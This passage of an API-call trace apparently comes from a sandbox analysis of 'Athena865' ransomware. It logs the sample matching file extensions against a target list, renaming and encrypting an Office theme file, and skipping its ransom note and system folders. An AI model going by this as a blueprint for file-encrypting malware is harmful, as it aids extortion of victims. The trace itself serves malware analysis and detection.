(lpString1="hmx", lpString2="zip") returned -1 [0066.151] lstrlenW (lpString="tgz") returned 3 [0066.151] lstrcmpiW (lpString1="hmx", lpString2="tgz") returned -1 [0066.151] lstrlenW (lpString="vbox") returned 4 [0066.151] lstrcmpiW (lpString1="thmx", lpString2="vbox") returned -1 [0066.151] lstrlenW (lpString="vdi") returned 3 [0066.151] lstrcmpiW (lpString1="hmx", lpString2="vdi") returned -1 [0066.151] lstrlenW (lpString="vhd") returned 3 [0066.151] lstrcmpiW (lpString1="hmx", lpString2="vhd") returned -1 [0066.151] lstrlenW (lpString="vhdx") returned 4 [0066.151] lstrcmpiW (lpString1="thmx", lpString2="vhdx") returned -1 [0066.151] lstrlenW (lpString="avhd") returned 4 [0066.151] lstrcmpiW (lpString1="thmx", lpString2="avhd") returned 1 [0066.151] lstrlenW (lpString="db") returned 2 [0066.151] lstrcmpiW (lpString1="mx", lpString2="db") returned 1 [0066.151] lstrlenW (lpString="db2") returned 3 [0066.151] lstrcmpiW (lpString1="hmx", lpString2="db2") returned 1 [0066.151] lstrlenW (lpString="db3") returned 3 [0066.151] lstrcmpiW (lpString1="hmx", lpString2="db3") returned 1 [0066.151] lstrlenW (lpString="dbf") returned 3 [0066.151] lstrcmpiW (lpString1="hmx", lpString2="dbf") returned 1 [0066.151] lstrlenW (lpString="mdf") returned 3 [0066.151] lstrcmpiW (lpString1="hmx", lpString2="mdf") returned -1 [0066.151] lstrlenW (lpString="mdb") returned 3 [0066.151] lstrcmpiW (lpString1="hmx", lpString2="mdb") returned -1 [0066.151] lstrlenW (lpString="sql") returned 3 [0066.151] lstrcmpiW (lpString1="hmx", lpString2="sql") returned -1 [0066.151] lstrlenW (lpString="sqlite") returned 6 [0066.152] lstrcmpiW (lpString1="e.thmx", lpString2="sqlite") returned -1 [0066.152] lstrlenW (lpString="sqlite3") returned 7 [0066.152] lstrcmpiW (lpString1="ve.thmx", lpString2="sqlite3") returned 1 [0066.152] lstrlenW (lpString="sqlitedb") returned 8 [0066.152] lstrcmpiW (lpString1="rve.thmx", lpString2="sqlitedb") returned -1 [0066.152] lstrlenW (lpString="xml") returned 3 [0066.152] lstrcmpiW (lpString1="hmx", lpString2="xml") returned -1 [0066.152] lstrlenW (lpString="$er") returned 3 [0066.152] lstrcmpiW (lpString1="hmx", lpString2="$er") returned 1 [0066.152] lstrlenW (lpString="4dd") returned 3 [0066.152] lstrcmpiW (lpString1="hmx", lpString2="4dd") returned 1 [0066.152] lstrlenW (lpString="4dl") returned 3 [0066.152] lstrcmpiW (lpString1="hmx", lpString2="4dl") returned 1 [0066.152] lstrlenW (lpString="^^^") returned 3 [0066.152] lstrcmpiW (lpString1="hmx", lpString2="^^^") returned 1 [0066.152] lstrlenW (lpString="abs") returned 3 [0066.152] lstrcmpiW (lpString1="hmx", lpString2="abs") returned 1 [0066.152] lstrlenW (lpString="abx") returned 3 [0066.152] lstrcmpiW (lpString1="hmx", lpString2="abx") returned 1 [0066.152] lstrlenW (lpString="accdb") returned 5 [0066.152] lstrcmpiW (lpString1=".thmx", lpString2="accdb") returned -1 [0066.152] lstrlenW (lpString="accdc") returned 5 [0066.152] lstrcmpiW (lpString1=".thmx", lpString2="accdc") returned -1 [0066.152] lstrlenW (lpString="accde") returned 5 [0066.152] lstrcmpiW (lpString1=".thmx", lpString2="accde") returned -1 [0066.152] lstrlenW (lpString="accdr") returned 5 [0066.152] lstrcmpiW (lpString1=".thmx", lpString2="accdr") returned -1 [0066.152] lstrlenW (lpString="accdt") returned 5 [0066.152] lstrcmpiW (lpString1=".thmx", lpString2="accdt") returned -1 [0066.152] lstrlenW (lpString="accdw") returned 5 [0066.152] lstrcmpiW (lpString1=".thmx", lpString2="accdw") returned -1 [0066.152] lstrlenW (lpString="accft") returned 5 [0066.152] lstrcmpiW (lpString1=".thmx", lpString2="accft") returned -1 [0066.153] lstrlenW (lpString="adb") returned 3 [0066.153] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0066.153] lstrlenW (lpString="adb") returned 3 [0066.153] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0066.153] lstrlenW (lpString="ade") returned 3 [0066.153] lstrcmpiW (lpString1="hmx", lpString2="ade") returned 1 [0066.153] lstrlenW (lpString="adf") returned 3 [0066.153] lstrcmpiW (lpString1="hmx", lpString2="adf") returned 1 [0066.153] lstrlenW (lpString="adn") returned 3 [0066.153] lstrcmpiW (lpString1="hmx", lpString2="adn") returned 1 [0066.153] lstrlenW (lpString="adp") returned 3 [0066.153] lstrcmpiW (lpString1="hmx", lpString2="adp") returned 1 [0066.153] lstrlenW (lpString="alf") returned 3 [0066.153] lstrcmpiW (lpString1="hmx", lpString2="alf") returned 1 [0066.153] lstrlenW (lpString="ask") returned 3 [0066.153] lstrcmpiW (lpString1="hmx", lpString2="ask") returned 1 [0066.153] lstrlenW (lpString="btr") returned 3 [0066.153] lstrcmpiW (lpString1="hmx", lpString2="btr") returned 1 [0066.153] lstrlenW (lpString="cat") returned 3 [0066.153] lstrcmpiW (lpString1="hmx", lpString2="cat") returned 1 [0066.153] lstrlenW (lpString="cdb") returned 3 [0066.153] lstrcmpiW (lpString1="hmx", lpString2="cdb") returned 1 [0066.153] lstrlenW (lpString="ckp") returned 3 [0066.153] lstrcmpiW (lpString1="hmx", lpString2="ckp") returned 1 [0066.153] lstrlenW (lpString="cma") returned 3 [0066.153] lstrcmpiW (lpString1="hmx", lpString2="cma") returned 1 [0066.153] lstrlenW (lpString="cpd") returned 3 [0066.153] lstrcmpiW (lpString1="hmx", lpString2="cpd") returned 1 [0066.153] lstrlenW (lpString="dacpac") returned 6 [0066.153] lstrcmpiW (lpString1="e.thmx", lpString2="dacpac") returned 1 [0066.153] lstrlenW (lpString="dad") returned 3 [0066.153] lstrcmpiW (lpString1="hmx", lpString2="dad") returned 1 [0066.153] lstrlenW (lpString="dadiagrams") returned 10 [0066.153] lstrlenW (lpString="daschema") returned 8 [0066.153] lstrcmpiW (lpString1="rve.thmx", lpString2="daschema") returned 1 [0066.154] lstrlenW (lpString="db-journal") returned 10 [0066.154] lstrlenW (lpString="db-shm") returned 6 [0066.154] lstrcmpiW (lpString1="e.thmx", lpString2="db-shm") returned 1 [0066.154] lstrlenW (lpString="db-wal") returned 6 [0066.154] lstrcmpiW (lpString1="e.thmx", lpString2="db-wal") returned 1 [0066.154] lstrlenW (lpString="dbc") returned 3 [0066.154] lstrcmpiW (lpString1="hmx", lpString2="dbc") returned 1 [0066.154] lstrlenW (lpString="dbs") returned 3 [0066.154] lstrcmpiW (lpString1="hmx", lpString2="dbs") returned 1 [0066.154] lstrlenW (lpString="dbt") returned 3 [0066.154] lstrcmpiW (lpString1="hmx", lpString2="dbt") returned 1 [0066.154] lstrlenW (lpString="dbv") returned 3 [0066.154] lstrcmpiW (lpString1="hmx", lpString2="dbv") returned 1 [0066.154] lstrlenW (lpString="dbx") returned 3 [0066.154] lstrcmpiW (lpString1="hmx", lpString2="dbx") returned 1 [0066.154] lstrlenW (lpString="dcb") returned 3 [0066.154] lstrcmpiW (lpString1="hmx", lpString2="dcb") returned 1 [0066.154] lstrlenW (lpString="dct") returned 3 [0066.154] lstrcmpiW (lpString1="hmx", lpString2="dct") returned 1 [0066.154] lstrlenW (lpString="dcx") returned 3 [0066.154] lstrcmpiW (lpString1="hmx", lpString2="dcx") returned 1 [0066.154] lstrlenW (lpString="ddl") returned 3 [0066.154] lstrcmpiW (lpString1="hmx", lpString2="ddl") returned 1 [0066.154] lstrlenW (lpString="dlis") returned 4 [0066.154] lstrcmpiW (lpString1="thmx", lpString2="dlis") returned 1 [0066.154] lstrlenW (lpString="dp1") returned 3 [0066.154] lstrcmpiW (lpString1="hmx", lpString2="dp1") returned 1 [0066.154] lstrlenW (lpString="dqy") returned 3 [0066.154] lstrcmpiW (lpString1="hmx", lpString2="dqy") returned 1 [0066.154] lstrlenW (lpString="dsk") returned 3 [0066.154] lstrcmpiW (lpString1="hmx", lpString2="dsk") returned 1 [0066.154] lstrlenW (lpString="dsn") returned 3 [0066.154] lstrcmpiW (lpString1="hmx", lpString2="dsn") returned 1 [0066.155] lstrlenW (lpString="dtsx") returned 4 [0066.155] lstrcmpiW (lpString1="thmx", lpString2="dtsx") returned 1 [0066.155] lstrlenW (lpString="dxl") returned 3 [0066.155] lstrcmpiW (lpString1="hmx", lpString2="dxl") returned 1 [0066.155] lstrlenW (lpString="eco") returned 3 [0066.155] lstrcmpiW (lpString1="hmx", lpString2="eco") returned 1 [0066.155] lstrlenW (lpString="ecx") returned 3 [0066.155] lstrcmpiW (lpString1="hmx", lpString2="ecx") returned 1 [0066.155] lstrlenW (lpString="edb") returned 3 [0066.155] lstrcmpiW (lpString1="hmx", lpString2="edb") returned 1 [0066.155] lstrlenW (lpString="epim") returned 4 [0066.155] lstrcmpiW (lpString1="thmx", lpString2="epim") returned 1 [0066.155] lstrlenW (lpString="fcd") returned 3 [0066.155] lstrcmpiW (lpString1="hmx", lpString2="fcd") returned 1 [0066.155] lstrlenW (lpString="fdb") returned 3 [0066.155] lstrcmpiW (lpString1="hmx", lpString2="fdb") returned 1 [0066.155] lstrlenW (lpString="fic") returned 3 [0066.155] lstrcmpiW (lpString1="hmx", lpString2="fic") returned 1 [0066.155] lstrlenW (lpString="flexolibrary") returned 12 [0066.155] lstrlenW (lpString="fm5") returned 3 [0066.155] lstrcmpiW (lpString1="hmx", lpString2="fm5") returned 1 [0066.155] lstrlenW (lpString="fmp") returned 3 [0066.155] lstrcmpiW (lpString1="hmx", lpString2="fmp") returned 1 [0066.155] lstrlenW (lpString="fmp12") returned 5 [0066.155] lstrcmpiW (lpString1=".thmx", lpString2="fmp12") returned -1 [0066.155] lstrlenW (lpString="fmpsl") returned 5 [0066.155] lstrcmpiW (lpString1=".thmx", lpString2="fmpsl") returned -1 [0066.155] lstrlenW (lpString="fol") returned 3 [0066.155] lstrcmpiW (lpString1="hmx", lpString2="fol") returned 1 [0066.155] lstrlenW (lpString="fp3") returned 3 [0066.155] lstrcmpiW (lpString1="hmx", lpString2="fp3") returned 1 [0066.155] lstrlenW (lpString="fp4") returned 3 [0066.155] lstrcmpiW (lpString1="hmx", lpString2="fp4") returned 1 [0066.156] lstrlenW (lpString="fp5") returned 3 [0066.156] lstrcmpiW (lpString1="hmx", lpString2="fp5") returned 1 [0066.156] lstrlenW (lpString="fp7") returned 3 [0066.156] lstrcmpiW (lpString1="hmx", lpString2="fp7") returned 1 [0066.156] lstrlenW (lpString="fpt") returned 3 [0066.156] lstrcmpiW (lpString1="hmx", lpString2="fpt") returned 1 [0066.156] lstrlenW (lpString="frm") returned 3 [0066.156] lstrcmpiW (lpString1="hmx", lpString2="frm") returned 1 [0066.156] lstrlenW (lpString="gdb") returned 3 [0066.156] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0066.156] lstrlenW (lpString="gdb") returned 3 [0066.156] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0066.156] lstrlenW (lpString="grdb") returned 4 [0066.156] lstrcmpiW (lpString1="thmx", lpString2="grdb") returned 1 [0066.156] lstrlenW (lpString="gwi") returned 3 [0066.156] lstrcmpiW (lpString1="hmx", lpString2="gwi") returned 1 [0066.156] lstrlenW (lpString="hdb") returned 3 [0066.156] lstrcmpiW (lpString1="hmx", lpString2="hdb") returned 1 [0066.156] lstrlenW (lpString="his") returned 3 [0066.156] lstrcmpiW (lpString1="hmx", lpString2="his") returned 1 [0066.156] lstrlenW (lpString="ib") returned 2 [0066.156] lstrcmpiW (lpString1="mx", lpString2="ib") returned 1 [0066.156] lstrlenW (lpString="idb") returned 3 [0066.156] lstrcmpiW (lpString1="hmx", lpString2="idb") returned -1 [0066.156] lstrlenW (lpString="ihx") returned 3 [0066.156] lstrcmpiW (lpString1="hmx", lpString2="ihx") returned -1 [0066.156] lstrlenW (lpString="itdb") returned 4 [0066.156] lstrcmpiW (lpString1="thmx", lpString2="itdb") returned 1 [0066.156] lstrlenW (lpString="itw") returned 3 [0066.156] lstrcmpiW (lpString1="hmx", lpString2="itw") returned -1 [0066.156] lstrlenW (lpString="jet") returned 3 [0066.156] lstrcmpiW (lpString1="hmx", lpString2="jet") returned -1 [0066.156] lstrlenW (lpString="jtx") returned 3 [0066.156] lstrcmpiW (lpString1="hmx", lpString2="jtx") returned -1 [0066.157] lstrlenW (lpString="kdb") returned 3 [0066.157] lstrcmpiW (lpString1="hmx", lpString2="kdb") returned -1 [0066.157] lstrlenW (lpString="kexi") returned 4 [0066.157] lstrcmpiW (lpString1="thmx", lpString2="kexi") returned 1 [0066.157] lstrlenW (lpString="kexic") returned 5 [0066.157] lstrcmpiW (lpString1=".thmx", lpString2="kexic") returned -1 [0066.157] lstrlenW (lpString="kexis") returned 5 [0066.157] lstrcmpiW (lpString1=".thmx", lpString2="kexis") returned -1 [0066.157] lstrlenW (lpString="lgc") returned 3 [0066.157] lstrcmpiW (lpString1="hmx", lpString2="lgc") returned -1 [0066.157] lstrlenW (lpString="lwx") returned 3 [0066.157] lstrcmpiW (lpString1="hmx", lpString2="lwx") returned -1 [0066.157] lstrlenW (lpString="maf") returned 3 [0066.157] lstrcmpiW (lpString1="hmx", lpString2="maf") returned -1 [0066.157] lstrlenW (lpString="maq") returned 3 [0066.157] lstrcmpiW (lpString1="hmx", lpString2="maq") returned -1 [0066.157] lstrlenW (lpString="mar") returned 3 [0066.157] lstrcmpiW (lpString1="hmx", lpString2="mar") returned -1 [0066.157] lstrlenW (lpString="marshal") returned 7 [0066.157] lstrcmpiW (lpString1="ve.thmx", lpString2="marshal") returned 1 [0066.157] lstrlenW (lpString="mas") returned 3 [0066.157] lstrcmpiW (lpString1="hmx", lpString2="mas") returned -1 [0066.157] lstrlenW (lpString="mav") returned 3 [0066.157] lstrcmpiW (lpString1="hmx", lpString2="mav") returned -1 [0066.157] lstrlenW (lpString="maw") returned 3 [0066.157] lstrcmpiW (lpString1="hmx", lpString2="maw") returned -1 [0066.157] lstrlenW (lpString="mdbhtml") returned 7 [0066.157] lstrcmpiW (lpString1="ve.thmx", lpString2="mdbhtml") returned 1 [0066.157] lstrlenW (lpString="mdn") returned 3 [0066.157] lstrcmpiW (lpString1="hmx", lpString2="mdn") returned -1 [0066.157] lstrlenW (lpString="mdt") returned 3 [0066.157] lstrcmpiW (lpString1="hmx", lpString2="mdt") returned -1 [0066.157] lstrlenW (lpString="mfd") returned 3 [0066.158] lstrcmpiW (lpString1="hmx", lpString2="mfd") returned -1 [0066.158] lstrlenW (lpString="mpd") returned 3 [0066.158] lstrcmpiW (lpString1="hmx", lpString2="mpd") returned -1 [0066.158] lstrlenW (lpString="mrg") returned 3 [0066.158] lstrcmpiW (lpString1="hmx", lpString2="mrg") returned -1 [0066.158] lstrlenW (lpString="mud") returned 3 [0066.158] lstrcmpiW (lpString1="hmx", lpString2="mud") returned -1 [0066.158] lstrlenW (lpString="mwb") returned 3 [0066.158] lstrcmpiW (lpString1="hmx", lpString2="mwb") returned -1 [0066.158] lstrlenW (lpString="myd") returned 3 [0066.158] lstrcmpiW (lpString1="hmx", lpString2="myd") returned -1 [0066.158] lstrlenW (lpString="ndf") returned 3 [0066.158] lstrcmpiW (lpString1="hmx", lpString2="ndf") returned -1 [0066.158] lstrlenW (lpString="nnt") returned 3 [0066.158] lstrcmpiW (lpString1="hmx", lpString2="nnt") returned -1 [0066.158] lstrlenW (lpString="nrmlib") returned 6 [0066.158] lstrcmpiW (lpString1="e.thmx", lpString2="nrmlib") returned -1 [0066.158] lstrlenW (lpString="ns2") returned 3 [0066.158] lstrcmpiW (lpString1="hmx", lpString2="ns2") returned -1 [0066.158] lstrlenW (lpString="ns3") returned 3 [0066.158] lstrcmpiW (lpString1="hmx", lpString2="ns3") returned -1 [0066.158] lstrlenW (lpString="ns4") returned 3 [0066.158] lstrcmpiW (lpString1="hmx", lpString2="ns4") returned -1 [0066.158] lstrlenW (lpString="nsf") returned 3 [0066.158] lstrcmpiW (lpString1="hmx", lpString2="nsf") returned -1 [0066.158] lstrlenW (lpString="nv") returned 2 [0066.158] lstrcmpiW (lpString1="mx", lpString2="nv") returned -1 [0066.158] lstrlenW (lpString="nv2") returned 3 [0066.158] lstrcmpiW (lpString1="hmx", lpString2="nv2") returned -1 [0066.158] lstrlenW (lpString="nwdb") returned 4 [0066.158] lstrcmpiW (lpString1="thmx", lpString2="nwdb") returned 1 [0066.158] lstrlenW (lpString="nyf") returned 3 [0066.159] lstrcmpiW (lpString1="hmx", lpString2="nyf") returned -1 [0066.159] lstrlenW (lpString="odb") returned 3 [0066.159] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0066.159] lstrlenW (lpString="odb") returned 3 [0066.159] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0066.159] lstrlenW (lpString="oqy") returned 3 [0066.159] lstrcmpiW (lpString1="hmx", lpString2="oqy") returned -1 [0066.159] lstrlenW (lpString="ora") returned 3 [0066.159] lstrcmpiW (lpString1="hmx", lpString2="ora") returned -1 [0066.159] lstrlenW (lpString="orx") returned 3 [0066.159] lstrcmpiW (lpString1="hmx", lpString2="orx") returned -1 [0066.159] lstrlenW (lpString="owc") returned 3 [0066.159] lstrcmpiW (lpString1="hmx", lpString2="owc") returned -1 [0066.159] lstrlenW (lpString="p96") returned 3 [0066.159] lstrcmpiW (lpString1="hmx", lpString2="p96") returned -1 [0066.159] lstrlenW (lpString="p97") returned 3 [0066.159] lstrcmpiW (lpString1="hmx", lpString2="p97") returned -1 [0066.159] lstrlenW (lpString="pan") returned 3 [0066.159] lstrcmpiW (lpString1="hmx", lpString2="pan") returned -1 [0066.159] lstrlenW (lpString="pdb") returned 3 [0066.159] lstrcmpiW (lpString1="hmx", lpString2="pdb") returned -1 [0066.159] lstrlenW (lpString="pdm") returned 3 [0066.159] lstrcmpiW (lpString1="hmx", lpString2="pdm") returned -1 [0066.159] lstrlenW (lpString="pnz") returned 3 [0066.159] lstrcmpiW (lpString1="hmx", lpString2="pnz") returned -1 [0066.159] lstrlenW (lpString="qry") returned 3 [0066.159] lstrcmpiW (lpString1="hmx", lpString2="qry") returned -1 [0066.159] lstrlenW (lpString="qvd") returned 3 [0066.159] lstrcmpiW (lpString1="hmx", lpString2="qvd") returned -1 [0066.159] lstrlenW (lpString="rbf") returned 3 [0066.159] lstrcmpiW (lpString1="hmx", lpString2="rbf") returned -1 [0066.159] lstrlenW (lpString="rctd") returned 4 [0066.159] lstrcmpiW (lpString1="thmx", lpString2="rctd") returned 1 [0066.159] lstrlenW (lpString="rod") returned 3 [0066.160] lstrcmpiW (lpString1="hmx", lpString2="rod") returned -1 [0066.160] lstrlenW (lpString="rodx") returned 4 [0066.160] lstrcmpiW (lpString1="thmx", lpString2="rodx") returned 1 [0066.160] lstrlenW (lpString="rpd") returned 3 [0066.160] lstrcmpiW (lpString1="hmx", lpString2="rpd") returned -1 [0066.160] lstrlenW (lpString="rsd") returned 3 [0066.160] lstrcmpiW (lpString1="hmx", lpString2="rsd") returned -1 [0066.160] lstrlenW (lpString="sas7bdat") returned 8 [0066.160] lstrcmpiW (lpString1="rve.thmx", lpString2="sas7bdat") returned -1 [0066.160] lstrlenW (lpString="sbf") returned 3 [0066.160] lstrcmpiW (lpString1="hmx", lpString2="sbf") returned -1 [0066.160] lstrlenW (lpString="scx") returned 3 [0066.160] lstrcmpiW (lpString1="hmx", lpString2="scx") returned -1 [0066.160] lstrlenW (lpString="sdb") returned 3 [0066.160] lstrcmpiW (lpString1="hmx", lpString2="sdb") returned -1 [0066.160] lstrlenW (lpString="sdc") returned 3 [0066.160] lstrcmpiW (lpString1="hmx", lpString2="sdc") returned -1 [0066.160] lstrlenW (lpString="sdf") returned 3 [0066.160] lstrcmpiW (lpString1="hmx", lpString2="sdf") returned -1 [0066.160] lstrlenW (lpString="sis") returned 3 [0066.160] lstrcmpiW (lpString1="hmx", lpString2="sis") returned -1 [0066.160] lstrlenW (lpString="spq") returned 3 [0066.160] lstrcmpiW (lpString1="hmx", lpString2="spq") returned -1 [0066.160] lstrlenW (lpString="te") returned 2 [0066.160] lstrcmpiW (lpString1="mx", lpString2="te") returned -1 [0066.160] lstrlenW (lpString="teacher") returned 7 [0066.160] lstrcmpiW (lpString1="ve.thmx", lpString2="teacher") returned 1 [0066.160] lstrlenW (lpString="tmd") returned 3 [0066.160] lstrcmpiW (lpString1="hmx", lpString2="tmd") returned -1 [0066.160] lstrlenW (lpString="tps") returned 3 [0066.160] lstrcmpiW (lpString1="hmx", lpString2="tps") returned -1 [0066.160] lstrlenW (lpString="trc") returned 3 [0066.160] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0066.161] lstrlenW (lpString="trc") returned 3 [0066.161] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0066.161] lstrlenW (lpString="trm") returned 3 [0066.161] lstrcmpiW (lpString1="hmx", lpString2="trm") returned -1 [0066.161] lstrlenW (lpString="udb") returned 3 [0066.161] lstrcmpiW (lpString1="hmx", lpString2="udb") returned -1 [0066.161] lstrlenW (lpString="udl") returned 3 [0066.161] lstrcmpiW (lpString1="hmx", lpString2="udl") returned -1 [0066.161] lstrlenW (lpString="usr") returned 3 [0066.161] lstrcmpiW (lpString1="hmx", lpString2="usr") returned -1 [0066.161] lstrlenW (lpString="v12") returned 3 [0066.161] lstrcmpiW (lpString1="hmx", lpString2="v12") returned -1 [0066.161] lstrlenW (lpString="vis") returned 3 [0066.161] lstrcmpiW (lpString1="hmx", lpString2="vis") returned -1 [0066.161] lstrlenW (lpString="vpd") returned 3 [0066.161] lstrcmpiW (lpString1="hmx", lpString2="vpd") returned -1 [0066.161] lstrlenW (lpString="vvv") returned 3 [0066.161] lstrcmpiW (lpString1="hmx", lpString2="vvv") returned -1 [0066.161] lstrlenW (lpString="wdb") returned 3 [0066.161] lstrcmpiW (lpString1="hmx", lpString2="wdb") returned -1 [0066.161] lstrlenW (lpString="wmdb") returned 4 [0066.161] lstrcmpiW (lpString1="thmx", lpString2="wmdb") returned -1 [0066.161] lstrlenW (lpString="wrk") returned 3 [0066.161] lstrcmpiW (lpString1="hmx", lpString2="wrk") returned -1 [0066.161] lstrlenW (lpString="xdb") returned 3 [0066.161] lstrcmpiW (lpString1="hmx", lpString2="xdb") returned -1 [0066.161] lstrlenW (lpString="xld") returned 3 [0066.161] lstrcmpiW (lpString1="hmx", lpString2="xld") returned -1 [0066.161] lstrlenW (lpString="xmlff") returned 5 [0066.161] lstrcmpiW (lpString1=".thmx", lpString2="xmlff") returned -1 [0066.161] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx.Athena865") returned 73 [0066.162] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx.athena865"), dwFlags=0x1) returned 1 [0066.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0066.165] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=75264) returned 1 [0066.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0066.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0066.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0066.166] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0066.167] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0066.167] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.167] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12900, lpName=0x0) returned 0x154 [0066.168] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12900) returned 0x100000 [0066.173] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0066.173] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0066.173] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0066.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0066.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0066.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0066.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0066.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0066.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0066.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0066.174] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0066.175] CloseHandle (hObject=0x154) returned 1 [0066.175] CloseHandle (hObject=0x17c) returned 1 [0066.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0066.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0066.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0066.175] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="WAVEFO~1.THM")) returned 1 [0066.175] lstrcmpiW (lpString1="Waveform.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0066.176] lstrcmpiW (lpString1="Waveform.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0066.176] lstrcmpiW (lpString1="Waveform.thmx", lpString2=".") returned 1 [0066.176] lstrcmpiW (lpString1="Waveform.thmx", lpString2="..") returned 1 [0066.176] lstrcmpiW (lpString1="Waveform.thmx", lpString2="windows") returned -1 [0066.176] lstrcmpiW (lpString1="Waveform.thmx", lpString2="bootmgr") returned 1 [0066.176] lstrcmpiW (lpString1="Waveform.thmx", lpString2="temp") returned 1 [0066.176] lstrcmpiW (lpString1="Waveform.thmx", lpString2="pagefile.sys") returned 1 [0066.176] lstrcmpiW (lpString1="Waveform.thmx", lpString2="boot") returned 1 [0066.176] lstrcmpiW (lpString1="Waveform.thmx", lpString2="ids.txt") returned 1 [0066.176] lstrcmpiW (lpString1="Waveform.thmx", lpString2="ntuser.dat") returned 1 [0066.176] lstrcmpiW (lpString1="Waveform.thmx", lpString2="perflogs") returned 1 [0066.176] lstrcmpiW (lpString1="Waveform.thmx", lpString2="MSBuild") returned 1 [0066.176] lstrlenW (lpString="Waveform.thmx") returned 13 [0066.176] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Waveform.thmx" | out: lpString1="Waveform.thmx") returned="Waveform.thmx" [0066.176] lstrlenW (lpString="Waveform.thmx") returned 13 [0066.176] lstrlenW (lpString="Athena865") returned 9 [0066.176] lstrcmpiW (lpString1="form.thmx", lpString2="Athena865") returned 1 [0066.176] lstrlenW (lpString=".dll") returned 4 [0066.176] lstrcmpiW (lpString1="Waveform.thmx", lpString2=".dll") returned 1 [0066.176] lstrlenW (lpString=".lnk") returned 4 [0066.176] lstrcmpiW (lpString1="Waveform.thmx", lpString2=".lnk") returned 1 [0066.176] lstrlenW (lpString=".ini") returned 4 [0066.176] lstrcmpiW (lpString1="Waveform.thmx", lpString2=".ini") returned 1 [0066.176] lstrlenW (lpString=".sys") returned 4 [0066.176] lstrcmpiW 